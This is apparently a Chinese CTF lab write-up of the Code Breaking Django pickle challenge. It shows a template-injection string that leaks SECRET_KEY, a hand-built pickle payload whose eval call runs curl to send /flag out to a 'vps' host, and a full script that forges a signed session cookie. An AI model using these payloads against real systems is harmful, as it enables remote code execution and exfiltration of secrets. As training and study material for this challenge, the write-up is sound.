0x00前言
Code Breaking中的pickle那一道题因为各种原因一直没有钻研,然后今天P神终于放出了writeup,不得不膜一下,因此来复现并学习
0x01 格式化漏洞
因为之前博客已近说过了大致的思路,其writeup思路也是一样的,那么来看看具体是哪里出了问题
可以看到SECRET_KEY
是保存在文件当中的,并且session_engine的位置是在django.contrib.sessions.backends.signed_cookies
里面,因此我们需要通过格式化字符串漏洞来导出SECRET_KEY
并且伪造cookie。
我们先在template
文件夹中的login.index下面下一个断点
点击debug按钮,浏览网页之后在调试面板中看到了许多的信息
同时我们看看settings中template的那一项
同时context_processors负责向模板中注入一些上下文,requests
、user
和perms
都是默认存在的,但是settings是不存在的,因此无法在模板中读取settings的信息,又因为Django引擎有一定的限制,因此我们通过P神所说的方法{{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}}
是不能读取SECRET_KEY的。
继续搜索tempalte传入的参数,我们在
request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY
这个地址下面发现了SECRET_KEY的变量
因此传入参数
{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}
成功得到了SECRET_KEY
zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm
0x02 反序列化
拿到了SECRET_KEY之后下一步就是直接进行pickle反序列化漏洞了,通过查看writeup发现其使用的就是getattr这个万精油函数,但是在实际构造的时候却没有起到作用,在这次构造中采用protocol=0的方式。要是getattr
函数中的eval
函数能够被触发就要改变pickle中的顺序。因为pickle是一种堆栈语言,并没有"变量名"这个概念。首先用如下代码构造payload
from datetime import date
import pickle
import os
class test(object):
def __reduce__(self):
return (os.system,('ifconfig',))
a=test()
with open('poc.pickle','wb') as f:
pickle.dump(a,f, protocol = 0)
f.close()
得到序列化的字符串b'cnt\nsystem\np0\n(Vifconfig\np1\ntp2\nRp3\n.'
,然后使用
python -m pickletools poc.pickle
进行分析
从pickle源码中可以看到OPCODE
上面的OPCOED一些基本概念为
( :
将特殊对象推入栈中,表示开始的时间. :
序列化结束的标志c
:将find_class类压入栈中,包含两个参数V
、S
:向栈中压入一个(unicode)字符串t
: 从栈顶开始,找到最上面的一个(
,并将(
到t
中间的内容全部弹出,组成一个元组,再把这个元组压入栈中}
: 弹出一个空的字典p
:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引R
:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上1
: 通过topmost markobject丢弃堆栈顶部g
: 从堆栈备忘录中导出项目;索引是字符串arg
因此我们可以将我们的payload解释为
cnt # 传入一个参数,建立一个元组
system # 申明system方法
p0 # 将之压入一个栈的对象
(Vifconfig # 向特殊字符ifconfig
推入栈中
p1 # 将这个元组储存到第memo的第一个位置
tp2 # 将ifconfig这个元组全部弹出
Rp3 # 弹出一个可执行对象并且压入memo的第3个位置
. # 结束
因此可以简化为
cnt
system
(Vifconfig
tR.
因此,我们可以自己编写pickle序列化代码
cbuiltins # 将builtins设置为可执行对象
getattr # 获取builtins的getattr方法
(cbuiltins # 将builtins的对象压入栈中,并且创造find_class类
dict # 提取字典
S'get' # 压入一个get字符串进入栈中
tR(cbuiltins # 将以上(之内的所有函数函数弹出并且执行 ,重新声明builtins方法
globals # 提取globals类
(tRS'builtins' # 提取并执行,压入builtins字符串
tRp1 # 提取攻压入memo区域内. # 结束
成功构造,因此我们可以构造eval
函数了,使用g1
获取刚才的builtins,从而获得eval方法
... cbuiltins getattr (g1 S'eval' tR
最终构造出来的payload为
cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1 cbuiltins getattr (g1 S'eval' tR(S'__import__("os").system("curl vps/?$(cat /flag|base64)")' tR.
因此执行脚本为
from django.core import signing
import pickle
import builtins,io
import base64
import datetime
import json
import re
import time
import zlib
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl vps/?$(cat /flag_djang0_p1ckle | base64)")'
tR
.'''
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')
def pickle_exp(SECRET_KEY):
global data
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
SECRET_KEY = SECRET_KEY
# 根据SECRET_KEY进行Cookie的制造
session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
print(session)
if __name__ == '__main__':
SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
pickle_exp(SECRET_KEY)
这里注意在执行序列化的时候要在第一次账号输入进去之后再更改两次序列化的值,否则序列化不会执行
得到flag
flag{d5c2d79de511721699d1e20ec3e5a355}
最后,膜一下p神~
文章首发于先知